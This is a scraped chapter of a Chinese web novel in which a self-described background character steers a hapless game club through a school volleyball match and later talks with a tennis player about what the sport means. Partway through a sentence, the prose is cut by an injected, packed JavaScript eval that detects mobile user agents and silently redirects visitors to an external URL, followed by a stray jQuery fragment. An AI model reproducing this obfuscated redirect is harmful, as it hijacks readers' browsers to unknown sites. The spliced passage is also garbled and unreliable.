文趣网 > 其他小说 > 路人在运动漫中如何生存 > 15.健康排球
    比赛开始了。

    排球社的发球像炮弹一样砸过来——即使换了椭圆形的软球,他们的力道和落点控制依然精准得可怕。

    球在空中旋转着,轨迹诡异得像喝醉了的蝴蝶,但接球的人脚步稳得像钉子扎在地上,一抬手就把球稳稳地垫了起来。

    游戏社这边则完全是另一番景象。

    大和的第一次接球直接弹到了天花板上,球在天花板的灯架上弹了两下才掉下来,落在自己这边的场地上。裁判沉默了两秒,大概是不知道该怎么判。

    戴眼镜的瘦高个的第一次发球——他用的是排球的标准发球姿势,但球是椭圆的,所以它没有往前飞,而是向左上方划了一道优美的弧线,精准地落进了观众席第三排的一个女生怀里。

    圆脸男生的第一次接球被球砸中了脸,眼镜歪了,人没倒。

    第一局的比分是15:3。游戏社得了3分,其中2分是对面发球失误送的。

    鉴于专业性和学生的体力原因,和一般的25分制不同,这次比赛采取15分制。

    泽川蹲在场边喝水,表情像是在思考“我们到底为什么要来”。

    “要不我们弃权吧,”他小声说,“体面也是分等级的,我们这种体面可能属于‘不值一提’级别。”

    “不行,”大和忽然站起来,脸上的表情变得认真了,“石田在二楼看着呢。”

    秋山顺着大和的目光往上看。体育馆的二楼有一排窗户,其中一个窗户后面隐约能看到一撮褪色的金发,和一只举着手机的手。

    石田在用手机录像。

    “他从什么时候开始看的?”秋山问。

    “从你的第一次接球开始,”泽川说,“你把球接起来的那一下,对面的人都愣了一下。”

    秋山不知道这件事。他只知道自己的手腕现在还隐隐发红,对面的扣球力道即使减了七成,对他来说还是太重了。

    但他确实接到了——身体自己动的,没有经过大脑。

    那种反应不是一个月两个月能练出来的,是小学的替补生涯、无数次对着墙壁对垫、无数次在别人训练结束后一个人捡球攒下来的东西。

    就像肌肉记忆。你以为你已经忘了,但它就在那里,像一条蛰伏的蛇,只在需要的时候才会抬起头。

    第二局开始之前,秋山走到游戏社的几个人面前。

    “听我说,”他的声音不大,但很稳,“他们的扣球力道大,但球的落点其实很好判断——因为他们太标准了。标准的助跑、标准的起跳、标准的扣球姿势,球会往哪儿走,从他们助跑的角度就能看出来。”

    “真的?”圆脸男生捂着脸问。

    “真的,”秋山说,“他们的弱点不是技术,是‘不习惯’。他们习惯了普通排球的弹道和旋转,但这个球的弹跳是乱的。你们不需要接得多漂亮,只需要把球碰起来——哪怕是用脸,用肚子,用你能用的任何部位。碰起来之后,我来处理。”

    游戏社的五个人安静了一瞬。

    大和最先反应过来:“你刚才说‘用脸’的时候,表情特别认真。”

    “我是认真的,”秋山说,“用脸也可以。疼是疼了点,但至少球过去了。”

    第二局的氛围完全不一样了。

    不是游戏社突然变强了——没有,他们还是那个水平,大和的接球还是会飞到天花板,戴眼镜的瘦高个的发球依然在往观众席飞。

    但秋山的站位像一张网,把那些散落的、凌乱的、毫无章法的球一个个兜了回来。

    对面的扣球过来,圆脸男生用肚子挡了一下,球高高弹起,歪歪斜斜地往场外飞——秋山从三米外冲过来,身体几乎贴到了地上,把那个球用手背捞了回来,落点刚好在对面场地的边线上。

    裁判吹哨:“界内。”

    观众席上有人发出了“哦——”的声音。

    对面的主攻手看了秋山一眼,表情第一次有了变化——不是惊讶,是好奇。

    第二局的比分是15:8。游戏社还是输了,但比第一局多了5分。

    其实游戏社已经输了,但是毕竟是趣味运动会,还是要打满三局。

    泽川蹲在场边,累得像一条在太阳下晒了三天的毛巾,但他的眼睛是亮的。“我们居然得了8分,”他说,“8分。”

    “我们才得了8分,”大和纠正他。

    “但对面是排球社!”

    “对面是排球社的替补,”秋山说,“正选不会来打这种比赛。”

    空气安静了一秒。

    “……你怎么知道的?”泽川问。

    “因为我以前也是替补,”秋山说,语气平淡得像在说今天天气不错,“替补和正选的区别,看站位就知道了。正选的防守站位是‘预判’,替补是‘反应’。刚才对面的人都是在‘反应’,不是‘预判’。”

    大和盯着秋山看了好一会儿,然后转头对泽川说:“石田管他叫‘路人角色’,我觉得石田是瞎了。”

    “石田没瞎,”秋山活动了一下肩膀,手腕上的红印子还没消,“石田说的没错,我确实是路人角色。只是路人角色偶尔也会接到一两个球。”

    第三局是最后一局。

    对面的打法变了。他们不再一味地扣球,而是开始打点——把球打到游戏社最弱的位置,打两个人之间的缝隙,打秋山覆盖不到的死角。

    分数从0:0变成了5:0,又变成了8:2。

    泽川的呼吸越来越急促,大和的额头上全是汗,戴眼镜的瘦高个的眼镜已经在第二次救球时飞出去了,他现在的视力相当于一个近视八百度的人在看一幅印象派画作。

    秋山站在自己的位置上,汗水从下巴滴下来,落在木地板上,砸出一个小小的深色圆点。

    他的身体在告诉他要停了。手腕的红肿变成了青紫色,脚踝在刚才那次飞身救球时崴了一下,现在每跑一步都像踩在棉花上。

    但他的脑子在想另一件事——不是战术,不是比分,而是石田在二楼举着手机的那个画面。

    石田为什么要拍他?

    不是这个问题。真正的问题是——

    石田为什么会觉得“秋山夏生打排球的样子”值得被拍?

    对面的球又过来了。这一次不是扣球,是一个吊球——轻飘飘的,像一片叶子,落在网前两米的位置。

    大和离那个球最近,他的身体已经冲出去了,但他的重心太高,弯腰的一瞬间脚步乱了,整个人像一座正在倒塌的塔,歪歪斜斜地往前倾。

    他的手没有碰到球。

    但秋山碰到了。

    他从后方启动,在大和的身体挡住视线的瞬间判断了落点,跨步、弯腰、伸手——动作行云流水,像是提前在那个位置等好了一样。

    球触到他的手臂内侧,以一种不可思议的角度弹了起来,直直地往对面场地的后角飞去。

    对面的自由人冲过去救球,但球落地了。比他快了零点几秒。

    裁判吹哨:“界内。”

    观众席上这次不是“哦”了,而是“哇”。

    泽川从地上爬起来,张着嘴看着秋山,脸上的表情像是在看一个外星人。

    “你——”他说。

    “别说话,”秋山喘着气,“比赛还没结束。”

    比分是12:10。游戏社落后两分。

    接下来的几分,秋山像一个完全不一样的人。

    不是他突然变强了——他没有跳跃能力,扣球也没有力道,和对面那些真正的排球选手比起来,他的身体素质就像一只柴犬和一群狼的差距。

    但他站在那里,站在那个椭圆形的、不可预测的球面前,他的脚步、他的判断、他的每一个动作,都在说同一句话:

    我知道球会去哪里。

    不是天赋。是经验。是无数次看着别人打球、自己却上不了场的经验。是站在替补席上看了三年、把所有战术配合和落点规律刻进骨头里的经验。

    替补生涯,什么都没得到,除了这双会“看”的眼睛。

    最后一分的时候,对面打了一个快攻。

    那个185的主攻手跳起来的时候,秋山就知道球会往哪里去了——不是因为他看穿了假动作,而是因为那个人的眼神。

    在起跳的一瞬间,他的目光往左边偏了一度。

    秋山提前移动了半步。

    球来了,落在他判断的位置,差了一个拳头的距离。他的手臂伸到极限,指尖碰到了球——不是标准的垫球,是手指的弹击。

    球改变了方向,以一种缓慢的、几乎是在挑衅的弧度越过网带,落在对面的场地上。

    没有人接。

    因为没有人觉得那个球能被碰到。

    比分定格在14:12。

    但副馆里安静了整整两秒,然后响起了掌声。

    不是喝彩,是那种“出乎意料”的掌声——观众没想到会看到一场真正的比赛,没想到游戏社能撑到第三局,没想到那个戴着黑框眼镜、看起来像文学社编外人员的少年能打出那样的球。

    秋山站在原地,手腕垂着,胸口剧烈起伏。

    汗水顺着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551826|203926||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他的脸颊流下来,滑过那副沉闷的黑框眼镜,滴在地上。

    大和第一个走过来,没有说话,只是伸出手。

    秋山看了他一眼,伸出手,和他击了一掌。

    然后泽川,然后戴眼镜的瘦高个(他还没找到他的眼镜),然后圆脸男生。

    五只手叠在一起的时候,泽川说了一句让所有人都沉默的话:

    “明天游戏社的训练内容——健康排球。”

    “不要。”

    四个人同时回答。

    秋山坐在体育馆门口的台阶上,手腕上缠着冰袋,脚边放着一瓶没拧开的水。

    幸村不知道什么时候出现在他旁边,白色的运动外套换成了校服外套,手里拿着两罐饮料。

    “可乐还是乌龙茶?”幸村问。

    “乌龙茶,”秋山说,“可乐太刺激了。”

    幸村把乌龙茶递给他,在他旁边坐了下来。两个人的肩膀隔了大约一米的距离,不远不近,刚好适合一场不太认真的对话。

    操场上还在进行最后的项目,欢呼声和广播声混在一起,从远处传过来,被体育馆的墙壁削去了一半的锐度,听起来像是隔着一层薄薄的海绵。

    “打得不错。”幸村说。

    “输了。”

    “排球社打了三局是这个比分,他们回去应该不太高兴。”幸村笑着说,语气里带着一种让人很难分辨是安慰还是调侃的东西。

    秋山没接话。他拧开乌龙茶的瓶盖,喝了一口,茶的微苦在舌尖化开,然后是回甘。

    沉默了一会儿之后,秋山忽然开口。

    “幸村,网球对于你而言意味着什么?”

    幸村没有立刻回答。他看着操场的方向,但目光好像穿透了那些正在奔跑的人影,去了更远的地方。

    “生命。”他说。

    秋山转头看了他一眼。

    幸村的侧脸在午后的光线里显得很安静,安静得不像是在说什么沉重的话题。

    好像“生命”这两个字对他来说就是最自然的答案,不需要解释,不需要修饰。

    “你是怎么喜欢上打网球的?”秋山问。

    “我享受胜利,”幸村说,然后顿了一下,“不过听说还有快乐网球的存在。”

    秋山的嘴角不自觉地抽了一下。快乐网球。又是这个词。他在梦里见过幸村打快乐网球的样子,那个画面大概会永远留在他的记忆里,和那只被土豆叼回来的护腕、那本写着密密麻麻“天海信二”的书一起,并列“秋山夏生无法解释的事物”前三名。

    “每个人喜欢上一件事物的原因都不一样吧,”幸村继续说,语气像是在翻一本很久以前读过的书,有些字句已经模糊了,但大意还记得,“但或许有一点是相同的。”

    “什么?”

    幸村没有马上回答。他把手里的可乐罐举起来,对着光看了看,像是在检查里面的气泡有没有消失。

    “是一种感觉,”他说,声音比刚才轻了一些,“它来临的时候,训练的痛苦和过去的每次失败会在一瞬间褪色。”

    他停了一下。

    “好像有一瓶可乐在心中被打开了瓶盖,发麻的快感覆满全身。”

    秋山盯着手里的乌龙茶,没有说话。

    他想起了刚才在球场上的那个瞬间——身体先于大脑行动,判断快过思考,球被指尖弹起,越过网带,落在地面。

    那个瞬间,手腕不痛了,脚踝不酸了,呼吸不累了。

    那个瞬间,他什么都没有想。

    不是快乐,不是胜利,不是“我做到了”之类的成就感。

    是一种更原始的、更本质的东西——像是心脏被重新启动了。

    “秋山。”幸村忽然叫他的名字。

    “嗯?”

    “你的夏天还长着呢。”

    秋山转过头,对上幸村的目光。

    幸村的眼睛里有笑意,不是平时那种温和的、得体的、让人猜不透底牌的笑,而是一种很纯粹的笑——像是一个提前看完剧本的人,在给还没看到最后一幕的观众一个“你放心吧”的眼神。

    “什么意思?”秋山问。

    “没什么意思,”幸村站起来,把空了的可乐罐扔进旁边的垃圾桶,精准得像是用了什么技能,“就是忽然想说这句话。”

    秋山看着他走下台阶,背影在校服的衣角中渐渐远去,深蓝色的发丝在阳光下闪着细碎的光。

    他的夏天还长着。

    这句话在脑子里转了一圈,像一瓶刚被打开的可乐,气泡密密麻麻地往上涌。